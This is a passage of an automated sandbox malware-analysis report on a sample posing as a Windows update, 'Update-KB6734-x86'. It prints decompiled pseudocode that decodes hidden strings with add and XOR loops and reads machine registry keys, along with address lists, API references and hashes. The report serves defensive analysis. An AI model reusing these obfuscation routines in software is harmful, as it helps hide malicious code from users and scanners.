				 *((char*)(_t298 + 0x1a)) = 0xfc;
				 *((char*)(_t298 + 0x1b)) = 0x1a;
				 *((char*)(_t298 + 0x1c)) = 0x4e;
				 *((char*)(_t298 + 0x1d)) = 0x98;
				 *((char*)(_t298 + 0x1e)) = 0x3f;
				 *((char*)(_t298 + 0x1f)) = 0xc1;
				 *((char*)(_t298 + 0x20)) = 0xf8;
				 *((char*)(_t298 + 0x21)) = 0xf4;
				 *((char*)(_t298 + 0x22)) = 0xb6;
				 *((char*)(_t298 + 0x24)) = 0x42;
				 *((char*)(_t298 + 0x25)) = 0x28;
				 *((char*)(_t298 + 0x26)) = 0x77;
				 *((char*)(_t298 + 0x27)) = 0x14;
				 *((char*)(_t298 + 0x28)) = 0x73;
				 *((char*)(_t298 + 0x29)) = 0x59;
				 *((char*)(_t298 + 0x2a)) = 0x7b;
				 *((char*)(_t298 + 0x2b)) = 0x54;
				 *((char*)(_t298 + 0x2c)) = 0x17;
				 *((char*)(_t298 + 0x2d)) = 0xda;
				 *((char*)(_t298 + 0x2e)) = 8;
				 *((char*)(_t298 + 0x2f)) = 0xb4;
				 *((char*)(_t298 + 0x30)) = 0x71;
				 *((char*)(_t298 + 0x31)) = 0x70;
				 *((char*)(_t298 + 0x32)) = 0x4a;
				_t227 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t227 + 0x14)) =  *((intOrPtr*)(_t298 + _t227 + 0x14)) +  *((intOrPtr*)(_t298 + _t227 + 0x24));
					 *((intOrPtr*)(_t298 + _t227 + 0x15)) =  *((intOrPtr*)(_t298 + _t227 + 0x15)) +  *((intOrPtr*)(_t298 + _t227 + 0x25));
					_t125 = _t227 + 0x26; // 0x77
					 *((intOrPtr*)(_t298 + _t227 + 0x16)) =  *((intOrPtr*)(_t298 + _t227 + 0x16)) +  *((intOrPtr*)(_t298 + _t125));
					 *((intOrPtr*)(_t298 + _t227 + 0x17)) =  *((intOrPtr*)(_t298 + _t227 + 0x17)) +  *((intOrPtr*)(_t298 + _t227 + 0x27));
					 *((intOrPtr*)(_t298 + _t227 + 0x18)) =  *((intOrPtr*)(_t298 + _t227 + 0x18)) +  *((intOrPtr*)(_t298 + _t227 + 0x28));
					_t227 = _t227 + 5;
					_t264 = _t264 + 0x221;
				} while (_t227 < 0xf);
				 *((char*)(_t298 + 0x33)) = 0x7a;
				 *((char*)(_t298 + 0x23)) = 0x7a;
				 *((char*)(_t298 + 0x24)) = 0xbc;
				 *((char*)(_t298 + 0x25)) = 0xad;
				 *((char*)(_t298 + 0x26)) = 0x41;
				 *((char*)(_t298 + 0x27)) = 0xf4;
				 *((char*)(_t298 + 0x28)) = 0xf3;
				 *((char*)(_t298 + 0x29)) = 0x36;
				 *((char*)(_t298 + 0x2a)) = 0xbb;
				 *((char*)(_t298 + 0x2b)) = 0x66;
				 *((char*)(_t298 + 0x2c)) = 0x92;
				 *((char*)(_t298 + 0x2d)) = 0x38;
				 *((char*)(_t298 + 0x2e)) = 0x7e;
				 *((char*)(_t298 + 0x2f)) = 0x9e;
				 *((char*)(_t298 + 0x30)) = 0xe6;
				 *((char*)(_t298 + 0x31)) = 0xcd;
				 *((char*)(_t298 + 0x32)) = 0x71;
				 *((char*)(_t298 + 0x14)) = 0xf3;
				 *((char*)(_t298 + 0x15)) = 0xd8;
				 *((char*)(_t298 + 0x16)) = 0x35;
				 *((char*)(_t298 + 0x17)) = 0x84;
				 *((char*)(_t298 + 0x18)) = 0x9c;
				 *((char*)(_t298 + 0x19)) = 0x45;
				 *((char*)(_t298 + 0x1a)) = 0xcf;
				 *((char*)(_t298 + 0x1b)) = 0x20;
				 *((char*)(_t298 + 0x1c)) = 0xfb;
				 *((char*)(_t298 + 0x1d)) = 0x4a;
				 *((char*)(_t298 + 0x1e)) = 0x1b;
				 *((char*)(_t298 + 0x1f)) = 0xe9;
				 *((char*)(_t298 + 0x20)) = 0x87;
				 *((char*)(_t298 + 0x21)) = 0xa1;
				 *((char*)(_t298 + 0x22)) = 0x1d;
				_t229 = 0;
				do {
					 *(_t298 + _t229 + 0x24) =  *(_t298 + _t229 + 0x24) ^  *(_t298 + _t229 + 0x14);
					 *(_t298 + _t229 + 0x25) =  *(_t298 + _t229 + 0x25) ^  *(_t298 + _t229 + 0x15);
					 *(_t298 + _t229 + 0x26) =  *(_t298 + _t229 + 0x26) ^  *(_t298 + _t229 + 0x16);
					 *(_t298 + _t229 + 0x27) =  *(_t298 + _t229 + 0x27) ^  *(_t298 + _t229 + 0x17);
					_t229 = _t229 + 4;
				} while (_t229 < 0x10);
				_t295 =  *0x431f34; // 0x32
				 *0x431f34 = _t295 + 0x32;
				 *((char*)(_t298 + 0x1c)) = 0x41;
				 *((char*)(_t298 + 0x1d)) = 0x63;
				 *((char*)(_t298 + 0x1e)) = 0x74;
				 *((char*)(_t298 + 0x1f)) = 0x69;
				 *((char*)(_t298 + 0x20)) = 0x76;
				 *((char*)(_t298 + 0x21)) = 0x65;
				 *((char*)(_t298 + 0x22)) = 0x4f;
				 *((char*)(_t298 + 0x23)) = 0x50;
				 *((char*)(_t298 + 0x24)) = 0;
				 *0x431f38 = _t264 + 0x3d5;
				_t297 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t233 = RegOpenKeyExA(0x80000002, _t298 + 0x40, 0, 1, _t298 + 0x10); // executed
				if(_t233 == 0) {
					 *((intOrPtr*)(_t294 + 0x90)) = 0x18;
					 *(_t294 + 0x98) = 1;
				} else {
					_t233 = GetLastError();
					 *(_t294 + 0x94) = _t233;
				}
				_t234 = _t233 | 0xffffffff;
				_t212 = _t294 + 0x94; // 0x431d2c
				_t291 = _t212;
				 *(_t294 + 0x84) = _t234;
				 *(_t294 + 0x88) = _t234;
				 *(_t294 + 0x8c) = _t234;
				 *((intOrPtr*)(_t294 + 0x9c)) = E0041F020(_t298 + 0x28, _t212);
				 *((intOrPtr*)(_t294 + 0xa0)) = E0041F100(_t294, _t298 + 0x18, _t291);
				HeapFree(GetProcessHeap(), 0, _t297);
				RegCloseKey( *(_t298 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t298 + 0x7c)));
			}

0x004210d3
0x004210db
0x004210df
0x004210e5
0x004210e9
0x004210f1
0x004210f5
0x004210f9
0x004210ff
0x00421103
0x0042110c
0x00421111
0x00421116
0x0042111b
0x00421120
0x00421125
0x0042112a
0x0042112f
0x00421134
0x00421139
0x0042113e
0x00421142
0x00421146
0x0042114b
0x00421150
0x00421155
0x0042115a
0x0042115f
0x00421164
0x00421169
0x0042116e
0x00421173
0x00421178
0x0042117d
0x00421182
0x00421187
0x0042118c
0x00421191
0x00421196
0x0042119b
0x004211a0
0x004211a5
0x004211a9
0x004211ad
0x004211b2
0x004211b7
0x004211bc
0x004211c0
0x004211c5
0x004211c9
0x004211ce
0x004211d3
0x004211d8
0x004211dd
0x004211e2
0x004211e6
0x004211eb
0x004211f0
0x004211f5
0x004211fa
0x004211ff
0x00421204
0x00421209
0x0042120e
0x00421213
0x00421218
0x0042121c
0x00421221
0x00421226
0x0042122a
0x0042122f
0x00421236
0x0042123a
0x00421240
0x00421244
0x0042124c
0x00421254
0x00421257
0x0042125b
0x00421262
0x00421266
0x0042126a
0x0042126f
0x00421274
0x00421279
0x0042127e
0x00421283
0x00421288
0x0042128d
0x00421292
0x00421297
0x0042129c
0x004212a1
0x004212a6
0x004212ab
0x004212b0
0x004212b5
0x004212ba
0x004212bf
0x004212c4
0x004212c9
0x004212ce
0x004212d3
0x004212d8
0x004212dd
0x004212e2
0x004212e7
0x004212ec
0x004212f1
0x004212f6
0x00421300
0x00421304
0x0042130c
0x00421310
0x00421314
0x0042131c
0x00421324
0x00421338
0x0042133b
0x0042133f
0x00421348
0x0042134c
0x00421350
0x00421355
0x0042135a
0x0042135f
0x00421364
0x00421368
0x0042136d
0x00421372
0x00421377
0x0042137c
0x00421381
0x00421386
0x0042138b
0x00421390
0x00421395
0x0042139a
0x0042139e
0x004213a3
0x004213a8
0x004213ad
0x004213b2
0x004213b6
0x004213bb
0x004213c0
0x004213c5
0x004213ca
0x004213cf
0x004213d4
0x004213d9
0x004213de
0x004213e3
0x004213e5
0x004213f3
0x00421401
0x0042140f
0x00421413
0x00421417
0x0042141a
0x0042141f
0x00421459
0x0042145f
0x00421464
0x00421469
0x0042146e
0x00421473
0x00421478
0x0042147d
0x00421482
0x00421487
0x0042148c
0x0042149c
0x004214b1
0x004214b9
0x004214c9
0x004214d3
0x004214bb
0x004214bb
0x004214c1
0x004214c1
0x004214dd
0x004214e0
0x004214e0
0x004214ee
0x004214f4
0x004214fa
0x00421505
0x0042151b
0x00421524
0x0042152f
0x00421547

Strings

e, xrefs: 00421478
P, xrefs: 00421482
G, xrefs: 0042121C
(, xrefs: 004212B0
f, xrefs: 00421372
B, xrefs: 004212AB
F, xrefs: 00421213
0, xrefs: 00421178
t, xrefs: 00421469
v, xrefs: 0042116E
', xrefs: 004211D3
S, xrefs: 00421125
i, xrefs: 0042146E
Z, xrefs: 00421187
, xrefs: 004213BB
l, xrefs: 004211E6
`, xrefs: 00421274
c, xrefs: 00421464
#, xrefs: 00421196
), xrefs: 0042112A
I, xrefs: 004211FA
q, xrefs: 004212E7
p, xrefs: 004212EC
q, xrefs: 00421395
8, xrefs: 0042137C
v, xrefs: 00421473
H, xrefs: 004211A0
&, xrefs: 004211AD
i, xrefs: 00421169
6, xrefs: 00421368
T, xrefs: 0042110C
5, xrefs: 004213A3
{, xrefs: 004212C9
*, xrefs: 0042115A
A, xrefs: 0042145F
^, xrefs: 004211B2
(, xrefs: 004211D8
N, xrefs: 00421139
~, xrefs: 00421381
, xrefs: 00421173
p, xrefs: 0042117D
M, xrefs: 0042126F
O, xrefs: 0042147D
L, xrefs: 0042118C
w(B, xrefs: 00421310

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $ $#$&$'$($($)$*$0$5$6$8$A$B$F$G$H$I$L$M$N$O$P$S$T$Z$^$`$c$e$f$i$i$l$p$p$q$q$t$v$v$w(B${$~
API String ID: 0-3106658521
Opcode ID: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
Instruction ID: b9ab1dd3182530b11e39c15e962d93472a180878fd51d4fd0559e01a76d35aec
Opcode Fuzzy Hash: 7ffee0a367cd91da12548a0672ee88ef15d007f6f0e5a8efa2edde75e2af7312
Instruction Fuzzy Hash: 9EE1D32110D7C189D322DB7C945868FBFD05BA7228F581A9DF1E45B3E3C2A98249C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00421550, Relevance: 84.3, APIs: 9, Strings: 39, Instructions: 293
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00421550(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t162;
				short _t165;
				void* _t167;
				long _t180;
				void* _t183;
				void* _t184;
				signed int _t185;
				void* _t189;
				signed char _t190;
				signed char _t191;
				intOrPtr _t196;
				intOrPtr _t204;
				intOrPtr _t205;
				intOrPtr _t206;
				long _t217;
				void* _t220;
				signed char _t223;
				void* _t245;
				void* _t249;
				intOrPtr _t250;
				void* _t252;
				void* _t253;
				void* _t254;
				void* _t255;

				_t162 =  *0x4310d8; // 0xa9302559
				 *((intOrPtr*)(_t253 + 0x88)) = _t162;
				_t249 = __ecx;
				 *((char*)(_t253 + 0x31)) = 0x2c;
				 *((char*)(_t253 + 0x32)) = 0x7c;
				 *((char*)(_t253 + 0x35)) = 0x7c;
				 *((char*)(_t253 + 0x36)) = 0x2c;
				 *((char*)(_t253 + 0x4b)) = 0x2c;
				_push(__edi);
				 *((char*)(_t253 + 0x34)) = 0x54;
				 *((char*)(_t253 + 0x37)) = 0xc;
				 *((char*)(_t253 + 0x38)) = 0x12;
				 *((char*)(_t253 + 0x3b)) = 0xe7;
				 *((char*)(_t253 + 0x3c)) = 0x50;
				 *((char*)(_t253 + 0x3d)) = 0x8d;
				 *((char*)(_t253 + 0x3e)) = 0x53;
				 *((char*)(_t253 + 0x3f)) = 0x29;
				 *(_t253 + 0x40) = 0xa2;
				 *((char*)(_t253 + 0x41)) = 0xa8;
				 *((char*)(_t253 + 0x42)) = 0x4e;
				 *((char*)(_t253 + 0x43)) = 0x45;
				 *((char*)(_t253 + 0x44)) = 0xc5;
				 *((char*)(_t253 + 0x45)) = 0x81;
				 *((char*)(_t253 + 0x46)) = 9;
				 *((char*)(_t253 + 0x47)) = 0xb3;
				 *((char*)(_t253 + 0x48)) = 0xdc;
				 *((char*)(_t253 + 0x49)) = 0x50;
				 *((char*)(_t253 + 0x4a)) = 0x2a;
				 *((char*)(_t253 + 0x4b)) = 0xc2;
				 *((char*)(_t253 + 0x4c)) = 5;
				 *((char*)(_t253 + 0x4d)) = 0x69;
				 *((char*)(_t253 + 0x4e)) = 0x76;
				 *((char*)(_t253 + 0x50)) = 0x20;
				 *((char*)(_t253 + 0x51)) = 0x30;
				 *((char*)(_t253 + 0x52)) = 0x70;
				 *((char*)(_t253 + 0x53)) = 0x9e;
				 *((char*)(_t253 + 0x54)) = 0x5a;
				 *((char*)(_t253 + 0x55)) = 0x4c;
				 *((char*)(_t253 + 0x56)) = 0xd3;
				 *((char*)(_t253 + 0x57)) = 0x82;
				 *((char*)(_t253 + 0x58)) = 0x4f;
				 *((char*)(_t253 + 0x59)) = 0x90;
				 *((char*)(_t253 + 0x64)) = 0xff;
				 *((char*)(_t253 + 0x65)) = 0x23;
				 *((char*)(_t253 + 0x66)) = 0xca;
				 *((char*)(_t253 + 0x67)) = 0x48;
				 *((char*)(_t253 + 0x68)) = 0x45;
				 *((char*)(_t253 + 0x69)) = 0xc5;
				 *((char*)(_t253 + 0x6a)) = 0x26;
				 *((char*)(_t253 + 0x6b)) = 0x5e;
				 *(_t253 + 0x6c) = 0xc;
				 *((char*)(_t253 + 0x6d)) = 0xc0;
				 *((char*)(_t253 + 0x6e)) = 0x10;
				 *((char*)(_t253 + 0x6f)) = 0x18;
				 *((char*)(_t253 + 0x70)) = 0xc4;
				 *((char*)(_t253 + 0x71)) = 0xbd;
				 *((char*)(_t253 + 0x72)) = 0x17;
				 *((char*)(_t253 + 0x73)) = 0xe9;
				 *((char*)(_t253 + 0x74)) = 0x9e;
				 *((char*)(_t253 + 0x75)) = 0xee;
				 *((char*)(_t253 + 0x76)) = 0x64;
				 *((char*)(_t253 + 0x77)) = 0xa9;
				 *((char*)(_t253 + 0x78)) = 0x74;
				 *((char*)(_t253 + 0x79)) = 0x15;
				 *((char*)(_t253 + 0x7a)) = 0x48;
				 *((char*)(_t253 + 0x7b)) = 0xb1;
				 *((char*)(_t253 + 0x7c)) = 0x6a;
				 *((char*)(_t253 + 0x7d)) = 5;
				 *((char*)(_t253 + 0x7e)) = 0xeb;
				 *((char*)(_t253 + 0x7f)) = 0x40;
				 *((char*)(_t253 + 0x80)) = 0;
				 *((char*)(_t253 + 0x81)) = 0x16;
				_t165 =  *0x431f38; // 0x2d2c
				 *((char*)(_t253 + 0x82)) = 0xf9;
				 *((char*)(_t253 + 0x83)) = 0xd4;
				 *((char*)(_t253 + 0x84)) = 0xb;
				 *((char*)(_t253 + 0x85)) = 0x2b;
				 *((char*)(_t253 + 0x86)) = 0x8e;
				 *((char*)(_t253 + 0x87)) = 0xea;
				 *((char*)(_t253 + 0x88)) = 0x1d;
				 *((char*)(_t253 + 0x89)) = 0x70;
				_t217 = 0;
				do {
					 *((intOrPtr*)(_t253 + _t217 + 0x34)) =  *((intOrPtr*)(_t253 + _t217 + 0x34)) +  *((intOrPtr*)(_t253 + _t217 + 0x64));
					 *((intOrPtr*)(_t253 + _t217 + 0x35)) =  *((intOrPtr*)(_t253 + _t217 + 0x35)) +  *((intOrPtr*)(_t253 + _t217 + 0x65));
					_t217 = _t217 + 2;
					_t165 = _t165 + 0xda;
				} while (_t217 < 0x26);
				_t250 =  *0x431f34; // 0x32
				 *((char*)(_t253 + 0x5c)) = 0x56;
				 *((char*)(_t253 + 0x28)) = 0x56;
				 *((char*)(_t253 + 0x2e)) = 0xbc;
				 *((char*)(_t253 + 0x23)) = 0xbc;
				_t220 = 0;
				 *((char*)(_t253 + 0x5d)) = 0x65;
				 *((char*)(_t253 + 0x5e)) = 0x72;
				 *((char*)(_t253 + 0x5f)) = 0x73;
				 *((char*)(_t253 + 0x60)) = 0x69;
				 *((char*)(_t253 + 0x61)) = 0x6f;
				 *((char*)(_t253 + 0x62)) = 0x6e;
				 *((char*)(_t253 + 0x63)) = 0;
				 *0x431f34 = _t250 + 0x32;
				 *((char*)(_t253 + 0x29)) = 0x99;
				 *((char*)(_t253 + 0x2a)) = 0x50;
				 *((char*)(_t253 + 0x2b)) = 0xde;
				 *((char*)(_t253 + 0x2c)) = 0x57;
				 *((char*)(_t253 + 0x2d)) = 0x88;
				 *((char*)(_t253 + 0x2f)) = 0xad;
				 *((char*)(_t253 + 0x30)) = 0x41;
				 *((char*)(_t253 + 0x31)) = 0xf4;
				 *((char*)(_t253 + 0x32)) = 0xf3;
				 *(_t253 + 0x1c) = 0xf7;
				 *((char*)(_t253 + 0x1d)) = 0xd7;
				 *((char*)(_t253 + 0x1e)) = 0x16;
				 *((char*)(_t253 + 0x1f)) = 0x75;
				 *(_t253 + 0x20) = 0xe;
				 *((char*)(_t253 + 0x21)) = 0xea;
				 *((char*)(_t253 + 0x22)) = 0xba;
				 *((char*)(_t253 + 0x24)) = 0x22;
				 *((char*)(_t253 + 0x25)) = 0x71;
				 *((char*)(_t253 + 0x26)) = 0xd;
				_t167 = _t165 + 0x4af;
				do {
					 *((intOrPtr*)(_t253 + _t220 + 0x28)) =  *((intOrPtr*)(_t253 + _t220 + 0x28)) +  *((intOrPtr*)(_t253 + _t220 + 0x1c));
					_t220 = _t220 + 1;
				} while (_t220 < 0xb);
				 *((char*)(_t253 + 0x24)) = 0x41;
				 *((char*)(_t253 + 0x25)) = 0x63;
				 *((char*)(_t253 + 0x26)) = 0x74;
				 *((char*)(_t253 + 0x27)) = 0x69;
				 *((char*)(_t253 + 0x28)) = 0x76;
				 *((char*)(_t253 + 0x29)) = 0x65;
				 *((char*)(_t253 + 0x2a)) = 0x4d;
				 *((char*)(_t253 + 0x2b)) = 0x41;
				 *((char*)(_t253 + 0x2c)) = 0;
				 *0x431f38 = _t167 + 0x3d5;
				 *(_t253 + 0x20) = 0xff;
				 *(_t253 + 0x1c) = 0;
				_t252 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t180 = RegOpenKeyExA(0x80000002, _t253 + 0x40, 0, 1, _t253 + 0x10); // executed
				_t245 = GetLastError;
				if(_t180 != 0) {
					 *((intOrPtr*)(_t249 + 0xb4)) = GetLastError();
				}
				if(RegQueryValueExA( *(_t253 + 0x14), _t253 + 0x6c, 0, _t253 + 0x1c, _t252, _t253 + 0x18) == 0) {
					_t183 = E00425A4D(0, _t245, _t249, _t252, 0x42e310);
					_t254 = _t253 + 8;
					if(_t183 != 0) {
						_t206 = E004259C0(_t183);
						_t254 = _t254 + 4;
						 *((intOrPtr*)(_t249 + 0xa4)) = _t206;
					}
					_t184 = E00425A4D(0, _t245, _t249, 0, 0x42e310);
					_t255 = _t254 + 8;
					if(_t184 != 0) {
						_t205 = E004259C0(_t184);
						_t255 = _t255 + 4;
						 *((intOrPtr*)(_t249 + 0xa8)) = _t205;
					}
					_t185 =  *0x431f34; // 0x32
					_t223 =  *0x431f30; // 0x0
					 *0x431f30 = _t223 & _t185 *  *0x431f2c & 0x00000050;
					 *0x431f38 = 0x77;
					_t189 = E00425A4D(0, _t245, _t249, 0, 0x42e310);
					_t253 = _t255 + 8;
					if(_t189 != 0) {
						_t204 = E004259C0(_t189);
						_t253 = _t253 + 4;
						 *((intOrPtr*)(_t249 + 0xac)) = _t204;
					}
					 *(_t249 + 0xb8) = 1;
					 *((intOrPtr*)(_t249 + 0xb0)) = 0x19;
				} else {
					 *((intOrPtr*)(_t249 + 0xb4)) = GetLastError();
				}
				_t190 =  *0x431f2c; // 0x0
				_t191 = _t190;
				 *0x431f2c = _t191;
				 *0x431f30 = _t191 & 0x00000002;
				_t155 = _t249 + 0xb4; // 0x431d4c
				_t246 = _t155;
				 *0x431f38 =  *0x431f38;
				 *0x431f34 = 0;
				 *((intOrPtr*)(_t249 + 0xbc)) = E0041F020(_t253 + 0x2c, _t155);
				 *((intOrPtr*)(_t249 + 0xc0)) = E0041F100(_t249, _t253 + 0x20, _t246);
				_t196 =  *0x431f34; // 0x32
				 *0x431f2c = _t196 + 0x50;
				 *0x431f38 = 0x77 -  *0x431f30;
				HeapFree(GetProcessHeap(), 0, _t252);
				RegCloseKey( *(_t253 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t253 + 0x8c)));
			}

0x00421556
0x0042155e
0x00421567
0x0042156b
0x0042156f
0x00421573
0x00421577
0x0042157d
0x00421587
0x00421588
0x0042158d
0x00421592
0x00421597
0x0042159c
0x004215a1
0x004215a6
0x004215ab
0x004215b0
0x004215b5
0x004215ba
0x004215bf
0x004215c4
0x004215c9
0x004215ce
0x004215d3
0x004215d8
0x004215dd
0x004215e2
0x004215e7
0x004215ec
0x004215f0
0x004215f5
0x004215fa
0x004215ff
0x00421604
0x00421608
0x0042160c
0x00421611
0x00421616
0x0042161b
0x00421620
0x00421625
0x0042162a
0x0042162f
0x00421634
0x00421639
0x0042163d
0x00421642
0x00421647
0x0042164c
0x00421651
0x00421656
0x0042165b
0x00421660
0x00421665
0x0042166a
0x0042166f
0x00421674
0x00421679
0x0042167d
0x00421682
0x00421687
0x0042168c
0x00421691
0x00421696
0x0042169a
0x0042169f
0x004216a4
0x004216a8
0x004216ad
0x004216b2
0x004216ba
0x004216c2
0x004216ca
0x004216d2
0x004216da
0x004216e2
0x004216ea
0x004216f2
0x004216f9
0x00421701
0x00421708
0x00421710
0x00421714
0x0042171c
0x00421724
0x00421727
0x0042172b
0x00421730
0x00421738
0x0042173c
0x00421745
0x0042174b
0x0042174f
0x00421751
0x00421756
0x0042175b
0x00421760
0x00421765
0x0042176a
0x0042176f
0x00421774
0x0042177a
0x0042177f
0x00421784
0x00421789
0x0042178e
0x00421793
0x00421798
0x0042179c
0x004217a1
0x004217a6
0x004217ab
0x004217b0
0x004217b5
0x004217ba
0x004217bf
0x004217c3
0x004217c8
0x004217cd
0x004217d2
0x004217d7
0x004217e0
0x004217e4
0x004217e8
0x004217e9
0x0042181b
0x0042181f
0x00421824
0x00421829
0x0042182e
0x00421833
0x00421838
0x0042183d
0x00421841
0x00421845
0x0042184b
0x00421853
0x00421864
0x00421878
0x00421880
0x00421886
0x0042188a
0x0042188a
0x004218ae
0x004218c3
0x004218c8
0x004218cd
0x004218d0
0x004218d5
0x004218d8
0x004218d8
0x004218e4
0x004218e9
0x004218ee
0x004218f1
0x004218f6
0x004218f9
0x004218f9
0x004218ff
0x0042190a
0x00421918
0x0042192b
0x00421932
0x00421937
0x0042193c
0x0042193f
0x00421944
0x00421947
0x00421947
0x0042194d
0x00421957
0x004218b0
0x004218b2
0x004218b2
0x00421961
0x00421969
0x0042196b
0x00421979
0x0042197e
0x0042197e
0x00421988
0x00421997
0x004219aa
0x004219b5
0x004219c3
0x004219d2
0x004219d9
0x004219e7
0x004219f2
0x00421a10

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00421857
HeapAlloc.KERNEL32(00000000), ref: 0042185E
RegOpenKeyExA.KERNELBASE(80000002,000000A2,00000000,00000001,00000000), ref: 00421878
GetLastError.KERNEL32 ref: 00421888
RegQueryValueExA.ADVAPI32(?,0000000C,00000000,000000F7,00000000,?), ref: 004218A6
GetLastError.KERNEL32 ref: 004218B0

Strings

S, xrefs: 004215A6
), xrefs: 004215AB
s, xrefs: 0042175B
M, xrefs: 00421838
L, xrefs: 00421611
e, xrefs: 00421833
r, xrefs: 00421756
c, xrefs: 0042181F
v, xrefs: 0042182E
j, xrefs: 0042169F
i, xrefs: 00421829
+, xrefs: 004216E2
u, xrefs: 004217B5
E, xrefs: 0042163D
E, xrefs: 004215BF
i, xrefs: 00421760
^, xrefs: 0042164C
P, xrefs: 0042159C
d, xrefs: 00421682
e, xrefs: 00421751
W, xrefs: 00421789
v, xrefs: 004215F5
n, xrefs: 0042176A
P, xrefs: 004215DD
#, xrefs: 0042162F
N, xrefs: 004215BA
", xrefs: 004217C8
t, xrefs: 0042168C
T, xrefs: 00421588
0, xrefs: 004215FF
O, xrefs: 00421620
*, xrefs: 004215E2
t, xrefs: 00421824
o, xrefs: 00421765
@, xrefs: 004216AD
, xrefs: 004215FA
Z, xrefs: 0042160C
&, xrefs: 00421647
i, xrefs: 004215F0

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: $"$#$&$)$*$+$0$@$E$E$L$M$N$O$P$P$S$T$W$Z$^$c$d$e$e$i$i$i$j$n$o$r$s$t$t$u$v$v
API String ID: 1776519057-2463442936
Opcode ID: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
Instruction ID: de080bc917b6dafc203796a283a93a50a3f41381c7ced34f7cef138a8a95d9cd
Opcode Fuzzy Hash: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
Instruction Fuzzy Hash: D4D13C6110C7C1CDD322D778988879FBFD15BA6218F484E9DF1E45B3E2D2A98109C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F8E0, Relevance: 72.0, APIs: 9, Strings: 32, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041F8E0(void* __ecx) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				int _v104;
				int _v108;
				void* _v112;
				void* _v116;
				void* _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t176;
				signed char _t180;
				intOrPtr _t181;
				void* _t183;
				signed int _t188;
				long _t200;
				void* _t204;
				void* _t205;
				intOrPtr _t220;
				intOrPtr _t221;
				signed char _t228;
				signed int _t232;
				signed int _t244;
				void* _t264;
				void* _t266;
				void** _t269;
				void** _t270;
				void** _t271;

				_t269 =  &_v112;
				_t176 =  *0x4310d8; // 0xa9302559
				_v4 = _t176;
				_v32 = 0x78;
				_v17 = 0x78;
				_v16 = 0x92;
				_v10 = 0x92;
				_t266 = __ecx;
				_v74 = 0x10;
				_v71 = 0x10;
				_v36 = 0x7b;
				_v35 = 0x3a;
				_v34 = 0x59;
				_v33 = 0xfe;
				_v31 = 0xb0;
				_v30 = 0xb1;
				_v29 = 0x27;
				_v28 = 0x34;
				_v27 = 0xf8;
				_v26 = 0x7f;
				_v25 = 0x7a;
				_v24 = 6;
				_v23 = 0x30;
				_v22 = 0xcb;
				_v21 = 0xef;
				_v20 = 0x87;
				_v19 = 0xae;
				_v18 = 0xc9;
				_v15 = 0x32;
				_v14 = 0xab;
				_v13 = 0x86;
				_v12 = 0x63;
				_v11 = 0x79;
				_v9 = 0x5c;
				_v8 = 0x91;
				_v84 = 0x28;
				_v83 = 0x75;
				_v82 = 0x1f;
				_v81 = 0xaa;
				_v80 = 0x2f;
				_v79 = 0xf1;
				_v78 = 0xe3;
				_v77 = 0x62;
				_v76 = 0x68;
				_v75 = 0xa2;
				_v73 = 0x14;
				_v72 = 0x63;
				_v70 = 0x87;
				_v69 = 0x8e;
				_v68 = 0xe5;
				_v67 = 0xdd;
				_v66 = 0x95;
				_v65 = 0x22;
				_v64 = 0xfd;
				_v63 = 0x5c;
